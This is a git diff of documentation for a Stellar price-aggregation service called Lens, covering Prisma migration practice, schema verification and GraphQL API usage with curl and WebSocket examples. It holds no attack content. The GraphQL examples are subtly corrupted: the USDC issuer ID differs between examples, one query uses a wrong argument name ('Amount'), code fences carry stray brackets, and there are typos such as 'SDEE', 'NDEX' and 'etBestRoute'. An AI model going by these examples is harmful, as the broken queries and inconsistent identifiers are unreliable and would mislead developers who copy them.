migrate diff \ + --from-empty \ + --to-schema-datamodel prisma/schema.prisma \ + --script > prisma/migrations/0_init/migration.sql +``` + +## Daily workflow (local development) + +Edit `schema.prisma`, then generate a migration. Do **not** `db push`. + +```bash +npm run db:migrate # prisma migrate dev — creates and applies a new migration +``` + +`migrate dev` writes a new timestamped folder under `prisma/migrations/`. +**Commit that folder.** It is now the reviewable record of the change. + +```bash +npm run db:status # which migrations are applied / pending +npm run db:reset # drop schema and re-apply all migrations (NEVER on prod) +``` + +## Deploying + +Deploys apply committed migrations only — they never diff the live database: + +```bash +npm run db:deploy # prisma migrate deploy +``` + +App startup (`src/index.ts`) runs `migrate deploy` for you, so a container that +starts against a database with pending migrations applies them and only them, +deterministically, or fails loudly if the database is ahead of the code. + +### Adopting the baseline on an EXISTING database + +Every Lens database that exists today was created by `db push`: it already +matches `schema.prisma` and has no `_prisma_migrations` table. The baseline's +`CREATE TABLE` statements must **not** be re-run there — `migrate deploy` would +collide with the tables that are already present and exit non-zero, which from +`src/index.ts` (`main().catch(… process.exit(1))`) is a crash loop, not a failed +migration. + +**Startup does this adoption for you.** `applyMigrations()` in +`src/db/migrate.ts` asks the database one question before deploying — does +`_prisma_migrations` exist, and does `price_points` exist — and when the schema +is there without the history it records the baseline as applied *without +executing it* before deploying: + +```bash +prisma migrate resolve --applied # records it; runs no SQL +prisma migrate deploy # then applies what is pending +``` + +So no manual step gates the deploy, and the order in which the merge and the +redeploy happen cannot take the API down. The three states it distinguishes — +empty database, pre-migrate database, already-adopted database — are pinned by +`tests/db-migrate-baseline.test.ts`. + +Running `npx prisma migrate resolve --applied 0_init` by hand first is still +perfectly fine; startup then finds the history and skips the adoption. The +baseline is committed separately, rather than generated on deploy, precisely so +that it can be recorded instead of run. + +### One-time check before the first deploy + +Adoption records "this database matches the baseline" permanently. It is only +true if the database really does match `schema.prisma` — and `db push` is what +used to make that true on every boot, silently. Dropping `db push` means a +column that is in `schema.prisma` but not in the live database **stays +missing**: `migrate deploy` has nothing pending to apply, and +`assertSchemaValid()` only covers the five core tables in +`EXPECTED_SCHEMA` (`src/db/schemaVerify.ts`), so a drifted `api_keys` or +`webhooks` column would not be caught at startup — it would surface as 500s on +the routes that read it. + +So run this once against each live database, before the first deploy on this +commit, and read the output rather than the exit code: + +```bash +# Differences between the LIVE database and schema.prisma, as SQL. +# Empty output = the database matches the baseline and is safe to adopt. +DIRECT_DATABASE_URL='' npx prisma migrate diff --from-schema-datasource prisma/schema.prisma --to-schema-datamodel prisma/schema.prisma --script +``` + +If it prints statements, do not adopt yet. Either apply them as a committed +migration (`npm run db:migrate`, then `migrate deploy`), or converge the +database on the previous commit — the one that still ran `db push` — and +re-check. + +Two caveats on reading that output: + +- It is **not** wired into startup on purpose. Lens shares a Postgres instance + with the sibling indexer, and if the two ever land in the same schema this + diff reports the sibling's tables as drift. A false positive here would be a + refusal to boot, so the judgement stays with a person. +- The CI `db-migrations` job does not cover this either. It replays the + migrations against an empty Postgres and diffs *that* against + `schema.prisma`; it never sees a live database, so it cannot tell you whether + production matches the baseline. Only the command above can. + +## The CI drift guard + +The `db-migrations` job in `.github/workflows/ci.yml` brings up a Postgres +service and runs: + +- `scripts/db-drift-check.sh` — deploys every committed migration, then + `migrate diff --from-migrations prisma/migrations --to-schema-datamodel + prisma/schema.prisma --exit-code` against a shadow database. It exits non-zero + — failing CI — whenever `schema.prisma` and `prisma/migrations` disagree. This + is the check that would have caught a half-applied `db push`. +- `scripts/db-migration-cycle.sh` — proves a new migration can be generated, + applied and rolled back on a clean database, and that the drift guard actually + fires on an un-migrated schema change. + +The DB-free unit test `tests/prisma-migrations.test.ts` (part of `npm test`) +additionally locks the **baseline** to `schema.prisma`: it fails while the repo +has no migration history, and fails if you edit the schema without regenerating +the baseline, so a missing migration is caught even without a database. + +Run the database-backed checks locally against the compose Postgres: + +```bash +docker compose up -d postgres +# create an empty shadow database alongside `lens` +DATABASE_URL=postgresql://lens:lens@localhost:5432/lens \ +DIRECT_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens \ +SHADOW_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens_shadow \ + npm run db:drift-check +``` + +## Rolling back a bad migration + +Prisma does not generate down-migrations. In a **non-production** environment, +`npm run db:reset` drops the schema and re-applies every committed migration, +which is the clean, reproducible way to back out of a half-applied change. In +production, roll forward: commit a new migration that reverses the change and +`migrate deploy` it. Either way the history in `prisma/migrations/` is the +source of truth — the thing `db push` never gave us. diff --git a/docs/database-schema.md b/docs/database-schema.md index 9dbafdb2..2e92edf6 100644 --- a/docs/database-schema.md +++ b/docs/database-schema.md @@ -1,37 +1,37 @@ -# Database Schema & Migration Strategy - -## Current state: `prisma migrate` - -> **Superseded (#233).** `prisma/` now contains a `migrations/` directory with a -> committed baseline, CI fails on drift between `schema.prisma` and the -> migrations, and both startup and deploys run `prisma migrate deploy`. -> `prisma db push` is no longer a `package.json` script and must not be run -> against any environment. See -> [`docs/database-migrations.md`](database-migrations.md). The rest of this -> section records why `db push` was used during early development. - -### Architectural Rationale - -1. **Rapid DeFi Primitive Prototyping:** - During the initial development of the multi-venue aggregator (covering SDEX orderbooks, AMM liquidity pools, Soroswap factory pairs, and Reflector oracles), data models evolved rapidly across iterations. `prisma db push` allowed agile schema prototyping without accumulating redundant migration step churn. - -2. **Zero In-Process Migrations on Container Boot:** - Running complex automated migrations inside container entrypoints poses locking hazards when running horizontally scaled nodes against shared PostgreSQL databases. Decoupling schema validation from schema migration prevents distributed boot race conditions. - -3. **Time-Series Partitioning Compatibility:** - Lens's high-frequency tables (such as `price_points` and `price_aggregates`) require composite primary keys (e.g. `[id, timestamp]`) and time-series optimizations. - -## Startup Verification Guard (#352) - -To ensure that running code never crashes at request time due to missing columns or unapplied schema changes: -- `src/db/schemaVerify.ts` runs on boot via `assertSchemaValid()` / `verifyDatabaseSchema()`. -- It performs a low-overhead inspection against PostgreSQL `information_schema.tables` and `information_schema.columns`. -- If an expected table or column is absent, it fails fast and names the missing entities. -- `/ready` and `/status` can query `verifyDatabaseSchema()` to isolate instances before they receive live traffic. - -## Path Forward: Transitioning to `prisma migrate` - -When moving to formal multi-region enterprise production deployments: -1. Generate baseline migration from the current production database: `npx prisma migrate diff --from-empty --to-schema-datamodel prisma/schema.prisma --script > prisma/migrations/0_init/migration.sql`. -2. Mark baseline as applied: `npx prisma migrate resolve --applied 0_init`. -3. Enforce CI/CD pipeline validation using Prisma Migrate with the schema startup verification guard serving as the runtime barrier. +# Database Schema & Migration Strategy + +## Current state: `prisma migrate` + +> **Superseded (#233).** `prisma/` now contains a `migrations/` directory with a +> committed baseline, CI fails on drift between `schema.prisma` and the +> migrations, and both startup and deploys run `prisma migrate deploy`. +> `prisma db push` is no longer a `package.json` script and must not be run +> against any environment. See +> [`docs/database-migrations.md`](database-migrations.md). The rest of this +> section records why `db push` was used during early development. + +### Architectural Rationale + +1. **Rapid DeFi Primitive Prototyping:** + During the initial development of the multi-venue aggregator (covering SDEX orderbooks, AMM liquidity pools, Soroswap factory pairs, and Reflector oracles), data models evolved rapidly across iterations. `prisma db push` allowed agile schema prototyping without accumulating redundant migration step churn. + +2. **Zero In-Process Migrations on Container Boot:** + Running complex automated migrations inside container entrypoints poses locking hazards when running horizontally scaled nodes against shared PostgreSQL databases. Decoupling schema validation from schema migration prevents distributed boot race conditions. + +3. **Time-Series Partitioning Compatibility:** + Lens's high-frequency tables (such as `price_points` and `price_aggregates`) require composite primary keys (e.g. `[id, timestamp]`) and time-series optimizations. + +## Startup Verification Guard (#352) + +To ensure that running code never crashes at request time due to missing columns or unapplied schema changes: +- `src/db/schemaVerify.ts` runs on boot via `assertSchemaValid()` / `verifyDatabaseSchema()`. +- It performs a low-overhead inspection against PostgreSQL `information_schema.tables` and `information_schema.columns`. +- If an expected table or column is absent, it fails fast and names the missing entities. +- `/ready` and `/status` can query `verifyDatabaseSchema()` to isolate instances before they receive live traffic. + +## Path Forward: Transitioning to `prisma migrate` + +When moving to formal multi-region enterprise production deployments: +1. Generate baseline migration from the current production database: `npx prisma migrate diff --from-empty --to-schema-datamodel prisma/schema.prisma --script > prisma/migrations/0_init/migration.sql`. +2. Mark baseline as applied: `npx prisma migrate resolve --applied 0_init`. +3. Enforce CI/CD pipeline validation using Prisma Migrate with the schema startup verification guard serving as the runtime barrier. diff --git a/docs/graphql.md b/docs/graphql.md index b1c2ea12..9eb41c67 100644 --- a/docs/graphql.md +++ b/docs/graphql.md @@ -1,443 +1,443 @@ -# Lens GraphQL API Documentation - -Lens exposes a high-performance GraphQL API alongside its REST interface, powered by Fastify and [mercurius](https://mercurius.dev). It aggregates real-time and historical pricing data from the Stellar Classic Decentralized Exchange (SDEE) order book and Automated Market Maker (AMM) liquidity pools. - ---- - -## Table of Contents - -1. [Endpoints & Access](#endpoints--access) -2. [Schema & Types](#schema--types) -3. [Queries & Runnable Examples](#queries--runnable-examples) - - [`getPrice`](#1-getprice) - - [`etBestRoute`](#2-getbestroute) - - [`getPriceHistory`](#3-getpricehistory) - - [`listPairs`](#4-listpairs) -4. [Live Price Subscriptions (`graphql-transport-ws`)](#live-price-subscriptions-graphql-transport-ws) - - [Protocol Handshake Walkthrough](#protocol-handshake-walkthrough) - - [Network Filtering Semantics](#network-filtering-semantics) - - [Runnable Client Example (Raw WebSocket & Handshake)](#runnable-client-example-raw-websocket---handshake) - - [Runnable Client Example (`graphql-ws` Library)](#runnable-client-example-graphql-ws-library) -5. [Capabilities & Gaps Against REST](#capabilities--gaps-against-rest) -6. [Query depth limit](#query-depth-limit) - ---- - -## Endpoints & Access - -| Interface | Protocol | URL / Path | Description | -|---|---|---|---| -| **GraphQL Query Endpoint** | HTTP POST / GET | `http://localhost:3002/graphql` | Executes GraphQL queries and introspections. | -| **GraphiQL Browser IDE** | HTTP GET | `http://localhost:3002/graphiql` | Interactive in-browser GraphQL explorer with auto-completion. | -| **GraphQL Subscription Endpoint** | WebSocket (`ws://` / `wss://`) | `ws://localhost:3002/graphql` | Real-time streaming price updates over WebSocket using `graphql-transport-ws`. | - -> [!IMPORTANT] -> **WebSocket Subprotocol Requirement**: The subscription server requires the modern **@graphql-transport-ws** subprotocol (the standard implemented by [`graphql-ws`](https://github.com/enisdenjo/graphql-ws)). Legacy Apollo `subscriptions-transport-ws` is **not** supported and will be rejected during connection initialization. - -## Query depth limit - -Lens validates every HTTP GraphQL operation before execution. The default -maximum is **3**, configurable with `GRAPHQL_MAX_QUERY_DEPTH` as a positive -integer at server startup. An invalid value prevents startup rather than -disabling the protection. - -Depth is the greatest number of field selections on a path from an operation -root to a leaf; aliases and fragment syntax do not add depth, but fields reached -through inline fragments and named fragment spreads do. For example, -`oracle { oracles { name } }` has depth 3. An operation over the configured -ceiling is rejected before any resolver runs with a normal GraphQL error such -as `Query depth 4 exceeds the maximum allowed depth of 3.` - -Pure `__schema` and `__type` operations are exempt to preserve GraphiQL's -standard introspection query. This exemption is deliberately root-scoped: a -mixed operation still has every application-field path measured, so adding an -introspection field cannot bypass the limit. Revisit the default when adding a -legitimate application relationship deeper than three fields. - ---- - -## Schema & Types - -The complete, canonical Schema Definition Language (SDL) artifact is committed at [`schema.graphql`](../schema.graphql). -It can be regenerated from code definitions using `npm run graphql:schema:gen`, and is continuously validated against drift in CI. - -### Root Operation Types - -```graphql -type Query { - getPrice(assetA: String!, assetB: String!): AggregatedPrice - getBestRoute(assetA: String!, assetB: String!, amount: Float!): RouteInfo - getPriceHistory(assetA: String!, assetB: String!, window: String!, from: String, to: String, limit: Int): [PriceBucket] - listPairs: [String]! -} - -type Subscription { - priceUpdated(pair: String!, network: String): PriceUpdate! -} -``` - -> [`getPriceHistory`](#3-getpriceHistory) range semantics: `from` and `to` are ISO 8601 timestamps and are **exclusive at the upper (`to`) end** — a bucket is returned only if its start is `>= from` and `< to`. This differs from the REST `history` route, which is inclusive at both ends and therefore double-counts boundary buckets across adjacent windows. - -### Object Types - -#### `AggregatedPrice` -Composite pricing metrics aggregated across SDEX and AMM venues. - -| Field | Type | Description | -|---|---|---| -| `assetA` | `String!` | First asset symbol or asset ID (`XLM` or `CODE:ISSUER`). | -| `assetB` | `String!` | Second asset symbol or asset ID. | -| `pairKey` | `String!` | Canonical alphabetically-sorted pair key (e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM`). | -| `price` | `Float!` | Volume-weighted aggregated price across all active venues. | -| `sdexPrice` | `Float!` | Mid-market price derived strictly from the SDEX order book. | -| `ammPrice` | `Float!` | Spot price derived from AMM liquidity pool reserve ratios. | -| `bestRoute` | `String!` | Recommended trade execution path: `"SDEX"`, `"AMM"`, or `"SPLIT"`. | -| `volume24h` | `Float!` | Total 24-hour traded volume across all venues. | -| `sdexVolume24h` | `Float!` | 24-hour traded volume strictly on SDEX. | -| `ammVolume24h` | `Float!` | 24-hour traded volume strictly on AMM pools. | -| `vwap1m` | `Float!` | 1-minute volume-weighted average price. | -| `vwap5m` | `Float!` | 5-minute volume-weighted average price. | -| `vwap1h` | `Float!` | 1-hour volume-weighted average price. | -| `vwap24h` | `Float!` | 24-hour volume-weighted average price. | -| `priceChange24h` | `Float!` | 24-hour price change percentage. | -| `lastUpdated` | `String!` | ISO-8601 timestamp of last aggregate calculation. | -| `sources` | `Int!` | Count of active venues contributing to the calculation. | -| `confidence` | `String!` | Qualitative confidence indicator (e.g. `"HIGH"`, `"MEDIUM"`, `"LOW"`). | -| `lastTradeAgeSeconds` | `Int` | Seconds elapsed since the most recent ingested trade. | - -#### `RouteInfo` -Routing analysis determining optimal swap execution. - -| Field | Type | Description | -|---|---|---| -| `route` | `String!` | Execution venue recommendation: `"SDEX"`, `"AMM"`, or `"SPLIT" `. | -| `sdexPrice` | `Float!` | Spot price for the order on the SDEX order book. | -| `ammPrice` | `Float!` | Spot price for the order on AMM liquidity pools. | -| `estimatedOutput` | `Float!` | Projected output tokens received for the input amount. | -| `slippagePct` | `Float!` | Projected price slippage percentage. | -| `recommendation` | `String!` | Human-readable explanation of why this route was selected. | - -#### `PriceBucket` -Historical OHLCV and volume aggregation bucket. - -| Field | Type | Description | -|---|---|---| -| `bucket` | `String!` | ISO-8601 timestamp representing the bucket start. | -| `window` | `String!` | Bucket resolution: `"1m"`, `"5m"`, `"1h"`, or `"24h"`. | -| `vwap` | `Float!` | Combined volume-weighted average price for the window. | -| `sdexVwap` | `Float` | SDEX-specific VWAP during this bucket. | -| `ammVwap` | `Float` | AMM-specific VWAP during this bucket. | -| `volume` | `Float!` | Total volume traded during this bucket. | -| `tradeCount` | `Int!` | Number of individual trades recorded during this window. | -| `open` | `Float` | Opening price for the bucket. | -| `close` | `Float` | Closing price for the bucket. | -| `high` | `Float` | Highest price recorded during the bucket. | -| `low` | `Float` | Lowest price recorded during the bucket. | - -#### `PriceUpdate` -Payload delivered on every real-time subscription event. - -| Field | Type | Description | -|---|---|---| -| `pair` | `String!` | Canonical pair key (e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM` or `XLM/USDC`). | -| `price` | `Float!` | Latest recorded trade or reserve spot price. | -| `ts` | `String!` | ISO-8601 timestamp of trade execution or ingestion. | -| `network` | `String!` | Network of origin: `"testnet"` or `"mainnet"`. | - ---- - -## Queries & Runnable Examples - -All examples below can be executed directly against a running Lens instance. Canonical asset representations use standard Stellar format: native lumens as `XLM` or `native`, and issued assets as `CODE:ISSUER` (for example, Circle USDC on Stellar mainnet: `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRR34K4KZVN`)`. - -### 1. `getPrice` - -Retrieves the latest aggregated price, multi-timeframe VWAPs, 24-hour volume, and the current optimal trade route. - -#### Query Definition -```graphql -query GetAssetPrice($assetA: String!, $assetB: String!) { - getPrice(assetA: $assetA, assetB: $assetB) { - assetA - assetB - pairKey - price - sdexPrice - ammPrice - bestRoute - volume24h - vwap1h - vwap24h - priceChange24h - lastUpdated - confidence - } -} -``` - -#### Runnable `curl` Command -[```bash -curl -s -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{ - "query": "query GetAssetPrice($assetA: String!, $assetB: String!) { getPrice(assetA: $assetA, assetB: $assetB) { assetA assetB pairKey price sdexPrice ammPrice bestRoute volume24h vwap1h vwap24h priceChange24h lastUpdated confidence } }", - "variables": { - "assetA": "XLM", - "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN" - } - }' -```] - -#### Example Response -```json -{ - "data": { - "getPrice": { - "assetA": "XLM", - "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN", - "pairKey": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM", - "price": 0.1245, - "sdexPrice": 0.1244, - "ammPrice": 0.1246, - "bestRoute": "SDEX", - "volume24h": 1425000.5, - "vwap1h": 0.1242, - "vwap24h": 0.1238, - "priceChange24h": 1.25, - "lastUpdated": "2026-10-17T04:15:00.000Z", - "confidence": "HIGH" - } - } -} -``` - ---- - -### 2. `getBestRoute` - -Simulates swap execution for an explicit order amount across both NDEX order books and AMM liquidity pools, calculating projected output tokens and slippage. - -#### Query Definition -```graphql -query GetBestExecutionRoute($assetA: String!, $assetB: String!, $amount: Float!) { - getBestRoute(assetA: $assetA, assetB: $assetB, Amount: $amount) { - route - sdexPrice - ammPrice - estimatedOutput - slippagePct - recommendation - } -} -``` - -#### Runnable `curl` Command -[```bash -curl -s -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{ - "query": "query GetBestExecutionRoute($assetA: String!, $assetB: String!, $amount: Float!) { getBestRoute(assetA: $assetA, assetB: $assetB, amount: $amount) { route sdexPrice ammPrice estimatedOutput slippagePct recommendation } }", - "variables": { - "assetA": "XLM", - "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRR34K4KZVN", - "amount": 10000.0 - } - }' -```] - -#### Example Response -```json -{ - "data": { - "getBestRoute": { - "route": "AMM", - "sdexPrice": 0.1241, - "ammPrice": 0.1246, - "estimatedOutput": 1243.85, - "slippagePct": 0.15, - "recommendation": "AMM provides 0.4% higher net output after order book spread." - } - } -} -``` - ---- - -### 3. `getPriceHistory` - -Retrieves historical aggregated price buckets (OHLCV and VWAP) for a given pair and timeframe window (`1m`, `5m`, `1h`, `24h`). - -`from` and `to` are optional ISO 8601 timestamps that constrain the query to an explicit time range. The range is **exclusive at the upper end** — a bucket is returned only if its start is `>= from` and `< to`. This is deliberately different from the REST `history` route, which is inclusive at both ends and thus double-counts boundary buckets across adjacent windows. When `from` omitted the range extends backward from `to` (or now) for at most `limit` buckets; when `to` omitted the range extends forward from `from` (or the oldest available bucket) to now. A `from` later than `to` is an error, as is a range that would produce more buckets than the server allows (the same cap the REST history route rejects as over-large). - -#### Query Definition -```graphql -query GetPairHistory($assetA: String!, $assetB: String!, $window: String!, $from: String, $to: String, $limit: Int) { - getPriceHistory(assetA: $assetA, assetB: $assetB, window: $window, from: $from, to: $to, limit: $limit) { - bucket - window - vwap - sdexVwap - ammVwap - volume - tradeCount - open - close - high - low - } -} -``` - -#### Runnable `curl` Command -[```bash -curl -s -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{ - "query": "query GetPairHistory($assetA: String!, $assetB: String!, $window: String!, $from: String, $to: String, $limit: Int) { getPriceHistory(assetA: $assetA, assetB: $assetB, window: $window, from: $from, to: $to, limit: $limit) { bucket window vwap sdexVwap ammVwap volume tradeCount open close high low } }", - "variables": { - "assetA": "XLM", - "assetB": "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN", - "window": "1h", - "from": "2026-10-16T00:00:00.000Z", - "to": "2026-10-17T00:00:00.000Z", - "limit": 5 - } - }' -```] - -#### Example Response -```json -{ - "data": { - "getPriceHistory": [ - { - "bucket": "2026-10-17T03:00:00.000Z", - "window": "1h", - "vwap": 0.1243, - "sdexVwap": 0.1242, - "ammVwap": 0.1244, - "volume": 68420.0, - "tradeCount": 142, - "open": 0.1241, - "close": 0.1245, - "high": 0.1250, - "low": 0.1238 - } - ] - } -} -``` - ---- - -### 4. `listPairs` - -Returns the canonical list of pair keys currently being tracked and priced by the service. - -#### Query Definition -```graphql -query { - listPairs -} -``` - -#### Runnable `curl` Command -[```bash -curl -s -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{ - "query": "query { listPairs }" - }' -```] - -#### Example Response -```json -{ - "data": { - "listPairs": [ - "USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM", - "AQU:XLM:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN" - ] - } -} -``` - ---- - -## Live Price Subscriptions (`graphql-transport-ws`) - -Live price updates are streamed over WebSocket using the [`graphql-transport-ws`](https://github.com/enisdenjo/graphql-ws) subprotocol. The client must negotiate this subprotocol during the WebSocket handshake. - -### Protocol Handshake Walkthrough - -1. Open a WebSocket to `ws://localhost:3002/graphql` with the subprotocol `graphql-transport-ws`. -2. Send a `connection_init`" message. The server replies with `connection_ack` on success. -3. Send a `subscribe` message containing the GraphQL subscription document and variables. -4. Receive `data` messages as price updates arrive. -5. Send `complete` to unsubscribe, or close the socket. - -### Network Filtering Semantics - -The `priceUpdated` subscription accepts an optional `network` argument: - -- @omitted or `null`: receive updates from all networks. -- `"testnet"`: receive only testnet updates. -- `"mainnet" : receive only mainnet updates. - -### Runnable Client Example (Raw WebSocket & Handshake) - -```typescript -import WebSocket from 'ws'; - -const ws = new WebSocket('ws://localhost:3002/graphql', 'graphql-transport-ws'); - -ws.on('open', () => { - ws.send(JSON.stringify({ type: 'connection_init' })); -}); - -ws.on('message', (raw) => { - const msg = JSON.parse(raw.toString()); - if (msg.type === 'connection_ack') { - ws.send(JSON.stringify({ - id: '1', - type: 'subscribe', - payload: { - query: `subscription PriceUpdates($pair: String!) { priceUpdated(pair: $pair) { pair price ts network } }`, - variables: { pair: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN/XLM' }, - }, - })); - } else if (msg.type === 'data') { - console.log('price update', msg.payload.data.priceUpdated); - } -}); -``` - -### Runnable Client Example (`graphql-ws` Library) - -```typescript -import { createClient } from 'graphql-ws'; -import WebSocket from 'ws'; - -const client = createClient({ - url: 'ws://localhost:3002/graphql', - webSocketImpl: WebSocket as any, -}); - -const unsubscribe = client.subscribe( - { query: `subscription PriceUpdates($pair: String!) { priceUpdated(pair: $pair) { pair price ts network } }`, variables: { pair: 'USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPPRE34K4KZVN/XLM' } }, - { next: (data) => console.log('price update', data), error: console.error, complete: () => console.log('done') }, -); - -// Call unsubscribe() to stop the stream. -``` - ---- - -## Capabilities & Gaps Against REST - -| Capability | REST `/prices/history` | GraphQL `getPriceHistory` | -|---|---|---| -| Explicit time range | `from` / `to` | `from` / `to` | -| Boundary inclusivity | inclusive at both ends | exclusive at the upper (`to`) end | -| Over-large range rejection | yes | yes (same cap) | -| `from` after `to` is an error | yes | yes | +# Lens GraphQL API Documentation + +Lens exposes a high-performance GraphQL API alongside its REST interface, powered by Fastify and [mercurius](https://mercurius.dev). It aggregates real-time and historical pricing data from the Stellar Classic Decentralized Exchange (SDEE) order book and Automated Market Maker (AMM) liquidity pools. + +--- + +## Table of Contents + +1. [Endpoints & Access](#endpoints--access) +2. [Schema & Types](#schema--types) +3. [Queries & Runnable Examples](#queries--runnable-examples) + - [`getPrice`](#1-getprice) + - [`etBestRoute`](#2-getbestroute) + - [`getPriceHistory`](#3-getpricehistory) + - [`listPairs`](#4-listpairs) +4. [Live Price Subscriptions (`graphql-transport-ws`)](#live-price-subscriptions-graphql-transport-ws) + - [Protocol Handshake Walkthrough](#protocol-handshake-walkthrough) + - [Network Filtering Semantics](#network-filtering-semantics) + - [Runnable Client Example (Raw WebSocket & Handshake)](#runnable-client-example-raw-websocket---handshake) + - [Runnable Client Example (`graphql-ws` Library)](#runnable-client-example-graphql-ws-library) +5. [Capabilities & Gaps Against REST](#capabilities--gaps-against-rest) +6. [Query depth limit](#query-depth-limit) + +--- + +## Endpoints & Access + +| Interface | Protocol | URL / Path | Description | +|---|---|---|---| +| **GraphQL Query Endpoint** | HTTP POST / GET | `http://localhost:3002/graphql` | Executes GraphQL queries and introspections. | +| **GraphiQL Browser IDE** | HTTP GET | `http://localhost:3002/graphiql` | Interactive in-browser GraphQL explorer with auto-completion. | +| **GraphQL Subscription Endpoint** | WebSocket (`ws://` / `wss://`) | `ws://localhost:3002/graphql` | Real-time streaming price updates over WebSocket using `graphql-transport-ws`. | + +> [!IMPORTANT] +> **WebSocket Subprotocol Requirement**: The subscription server requires the modern **@graphql-transport-ws** subprotocol (the standard implemented by [`graphql-ws`](https://github.com/enisdenjo/graphql-ws)). Legacy Apollo `subscriptions-transport-ws` is **not** supported and will be rejected during connection initialization. + +## Query depth limit + +Lens validates every HTTP GraphQL operation before execution. The default +maximum is **3**, configurable with `GRAPHQL_MAX_QUERY_DEPTH` as a positive +integer at server startup. An invalid value prevents startup rather than +disabling the protection. + +Depth is the greatest number of field selections on a path from an operation +root to a leaf; aliases and fragment syntax do not add depth, but fields reached +through inline fragments and named fragment spreads do. For example, +`oracle { oracles { name } }` has depth 3. An operation over the configured +ceiling is rejected before any resolver runs with a normal GraphQL error such +as `Query depth 4 exceeds the maximum allowed depth of 3.` + +Pure `__schema` and `__type` operations are exempt to preserve GraphiQL's +standard introspection query. This exemption is deliberately root-scoped: a +mixed operation still has every application-field path measured, so adding an +introspection field cannot bypass the limit. Revisit the default when adding a +legitimate application relationship deeper than three fields. + +--- + +## Schema & Types + +The complete, canonical Schema Definition Language (SDL) artifact is committed at [`schema.graphql`](../schema.graphql). +It can be regenerated from code definitions using `npm run graphql:schema:gen`, and is continuously validated against drift in CI. + +### Root Operation Types + +```graphql +type Query { + getPrice(assetA: String!, assetB: String!): AggregatedPrice + getBestRoute(assetA: String!, assetB: String!, amount: Float!): RouteInfo + getPriceHistory(assetA: String!, assetB: String!, window: String!, from: String, to: String, limit: Int): [PriceBucket] + listPairs: [String]! +} + +type Subscription { + priceUpdated(pair: String!, network: String): PriceUpdate! +} +``` + +> [`getPriceHistory`](#3-getpriceHistory) range semantics: `from` and `to` are ISO 8601 timestamps and are **exclusive at the upper (`to`) end** — a bucket is returned only if its start is `>= from` and `< to`. This differs from the REST `history` route, which is inclusive at both ends and therefore double-counts boundary buckets across adjacent windows. + +### Object Types + +#### `AggregatedPrice` +Composite pricing metrics aggregated across SDEX and AMM venues. + +| Field | Type | Description | +|---|---|---| +| `assetA` | `String!` | First asset symbol or asset ID (`XLM` or `CODE:ISSUER`). | +| `assetB` | `String!` | Second asset symbol or asset ID. | +| `pairKey` | `String!` | Canonical alphabetically-sorted pair key (e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPPPRE34K4KZVN/XLM`). | +| `price` | `Float!` | Volume-weighted aggregated price across all active venues. | +| `sdexPrice` | `Float!` | Mid-market price derived strictly from the SDEX order book. | +| `ammPrice` | `Float!` | Spot price derived from AMM liquidity pool reserve ratios. | +| `bestRoute` | `String!` | Recommended trade execution path: `"SDEX"`, `"AMM"`, or `"SPLIT"`. | +| `volume24h` | `Float!` | Total 24-hour traded volume across all venues. | +| `sdexVolume24h` | `Float!` | 24-hour traded volume strictly on SDEX. | +| `ammVolume24h` | `Float!` | 24-hour traded volume strictly on AMM pools. | +| `vwap1m` | `Float!` | 1-minute volume-weighted average price. | +| `vwap5m` | `Float!` | 5-minute volume-weighted average price. | +| `vwap1h` | `Float!` | 1-hour volume-weighted average price. | +| `vwap24h` | `Float!` | 24-hour volume-weighted average price. | +| `priceChange24h` | `Float!` | 24-hour price change percentage. | +| `lastUpdated` | `String!` | ISO-8601 timestamp of last aggregate calculation. | +| `sources` | `Int!` | Count of active venues contributing to the calculation. | +| `confidence` | `String!` | Qualitative confidence indicator (e.g. `"HIGH"`, `"MEDIUM"`, `"LOW"`). | +| `lastTradeAgeSeconds` | `Int` | Seconds elapsed since the most recent ingested trade. | + +#### `RouteInfo` +Routing analysis determining optimal swap execution. + +| Field | Type | Description | +|---|---|---| +| `route` | `String!` | Execution venue recommendation: `"SDEX"`, `"AMM"`, or `"SPLIT" `. | +| `sdexPrice` | `Float!` | Spot price for the order on the SDEX order book. | +| `ammPrice` | `Float!` | Spot price for the order on AMM liquidity pools. | +| `estimatedOutput` | `Float!` | Projected output tokens received for the input amount. | +| `slippagePct` | `Float!` | Projected price slippage percentage. | +| `recommendation` | `String!` | Human-readable explanation of why this route was selected. | + +#### `PriceBucket` +Historical OHLCV and volume aggregation bucket. + +| Field | Type | Description | +|---|---|---| +| `bucket` | `String!` | ISO-8601 timestamp representing the bucket start. | +| `window` | `String!` | Bucket resolution: `"1m"`, `"5m"`, `"1h"`, or `"24h"`. | +| `vwap` | `Float!` | Combined volume-weighted average price for the window. | +| `sdexVwap` | `Float` | SDEX-specific VWAP during this bucket. | +| `ammVwap` | `Float` | AMM-specific VWAP during this bucket. | +| `volume` | `Float!` | Total volume traded during this bucket. | +| `tradeCount` | `Int!` | Number of individual trades recorded during this window. | +| `open` | `Float` | Opening price for the bucket. | +| `close` 